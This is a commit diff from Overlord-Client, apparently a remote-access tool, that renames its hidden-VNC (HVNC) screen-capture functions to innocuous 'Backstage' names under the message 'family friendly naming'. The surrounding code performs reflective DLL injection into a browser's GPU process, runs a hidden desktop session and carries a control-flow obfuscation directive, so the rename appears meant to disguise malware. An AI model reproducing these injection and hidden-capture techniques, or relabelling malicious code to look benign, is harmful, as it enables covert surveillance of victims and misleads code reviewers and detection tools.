family friendly naming

Overlord-Client/cmd/agent/capture/capture.go

@@ -1465,13 +1465,13 @@ func NowHVNC(ctx context.Context, env *rt.Env) error {
 	if env.Cfg.DisableCapture {
 		return sendBlackFrameHVNC(ctx, env)
 	}
-	if !supportsHVNCCapture() {
+	if !supportsBackstageCapture() {
 		return nil
 	}
 	return captureAndSendHVNC(ctx, env)
 }
 
-func supportsHVNCCapture() bool {
+func supportsBackstageCapture() bool {
 	count := HVNCMonitorCount()
 	return count > 0
 }
@@ -1490,7 +1490,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
 	}
 
 	t0 := time.Now()
-	img, err := safeHVNCCaptureDisplay(display)
+	img, err := safeBackstageCaptureDisplay(display)
 	if err != nil {
 		log.Printf("hvnc capture: capture failed: %v (sending black frame)", err)
 		return sendBlackFrameHVNC(ctx, env)
@@ -1531,11 +1531,11 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
 	return err
 }
 
-func safeHVNCCaptureDisplay(display int) (*image.RGBA, error) {
+func safeBackstageCaptureDisplay(display int) (*image.RGBA, error) {
 	defer func() {
 		_ = recover()
 	}()
-	img, err := hvncCaptureDisplay(display)
+	img, err := BackstageCaptureDisplay(display)
 	if err != nil {
 		return nil, err
 	}

Overlord-Client/cmd/agent/capture/hvnc_dxgi_reader_windows.go

@@ -13,7 +13,7 @@ import (
 )
 
 // hvncFrameHeader mirrors the C HVNCFrameHeader struct.
-// must be kept in sync with HVNCCapture/src/DXGICapture.h.
+// must be kept in sync with BackstageCapture/src/DXGICapture.h.
 type hvncFrameHeader struct {
 	Magic       uint32
 	Version     uint32

Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go

@@ -947,7 +947,7 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
 		}
 
 		if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
-			log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
+			log.Printf("hvnc inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
 			procCloseHandle.Call(hProcess)
 			if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
 				fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
@@ -956,7 +956,7 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
 		}
 		procCloseHandle.Call(hProcess)
 
-		log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
+		log.Printf("hvnc inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
 		hvncRegisterInjectedPID(gpuPID)
 		hvncRegisterGPUPID(browserPID, gpuPID)
 		if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {

Overlord-Client/cmd/agent/capture/hvnc_stub.go

@@ -23,7 +23,7 @@ func SetHVNCUIAEnabled(enabled bool) {}
 
 func GetHVNCUIAEnabled() bool { return false }
 
-func hvncCaptureDisplay(display int) (*image.RGBA, error) {
+func BackstageCaptureDisplay(display int) (*image.RGBA, error) {
 	return nil, errors.New("HVNC not supported on this platform")
 }
 

Overlord-Client/cmd/agent/capture/hvnc_windows.go

@@ -508,7 +508,7 @@ func ensureHVNCThread() error {
 				case hvncTaskAutoStartExplorer:
 					result.err = hvncAutoStartExplorerOnThread()
 				default:
-					result.img, result.err = hvncCaptureDisplayOnThread(task.display)
+					result.img, result.err = BackstageCaptureDisplayOnThread(task.display)
 				}
 
 				dur := time.Since(start)
@@ -535,7 +535,7 @@ func ensureHVNCThread() error {
 	return hvncThreadErr
 }
 
-func hvncCaptureDisplay(display int) (*image.RGBA, error) {
+func BackstageCaptureDisplay(display int) (*image.RGBA, error) {
 	if err := ensureHVNCThread(); err != nil {
 		return nil, err
 	}
@@ -846,7 +846,7 @@ func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
 	return hvncCapHDCScreen, hvncCapHDCMem, buf, true
 }
 
-func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
+func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) {
 	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	captureMu.Lock()
 	defer captureMu.Unlock()